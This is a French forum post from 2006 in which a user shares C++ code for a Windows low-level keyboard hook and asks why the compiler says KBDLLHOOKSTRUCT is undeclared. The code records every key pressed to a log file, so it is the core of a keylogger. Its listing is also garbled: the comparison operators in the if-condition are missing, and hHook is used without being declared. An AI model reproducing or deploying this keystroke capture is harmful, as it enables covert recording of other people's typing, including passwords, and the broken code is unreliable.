cs_max12
Messages postés1491Date d'inscriptiondimanche 19 novembre 2000StatutModérateurDernière intervention 7 juillet 2014
-
27 mars 2006 à 18:33
cs_max12
Messages postés1491Date d'inscriptiondimanche 19 novembre 2000StatutModérateurDernière intervention 7 juillet 2014
-
28 mars 2006 à 01:42
#include "main.h"
#define _WIN32_WINNT 0x0400
#include <windows.h>
// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
{ if ((nCode HC_ACTION) && (wParam WM_KEYDOWN))
{
// Structure de récupération d'infos sur la touche tapée
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Obtenir la lettre de la touche tapée
char lettre=(char)hookstruct.vkCode;
// Compteur des octets écrits pour WriteFile()
DWORD Ecrits;
// Ouverture du fichier log. Le créer s'il n'existe pas.
HANDLE hFichier = CreateFile("Z:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Si le handle retourné est valide alors
if( hFichier != INVALID_HANDLE_VALUE)
{
// Mettre le pointeur du fichier à la fin
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// Ecrire la lettre dans le fihier log
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// Fermer le fichier
CloseHandle(hFichier);
}
}
// Renvoi des messages au sytème pour permettre d'autres hooks
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
Bonjours,
Je tente de faire fonctionner ce code, c'est un copier coller quasi intégrale d'une autre source (http://www.cppfrance.com/code.aspx?ID=27169), d'après MSDN aucune librairie n'est nécéssaire non plus.
z:\test\test.cpp(12): error C2065: 'KBDLLHOOKSTRUCT' : identificateur non déclaré
Qu'est-ce qui pourrait expliquer ceci ? J'ai eu aussi ce problème avec un simulateur de touche signé BN (qui fonctionnait inpécablement lors de la compil de l'original comme toujours).
Comme d'habitude c'est sûrement un truc ridicule, mais c'est de le trouver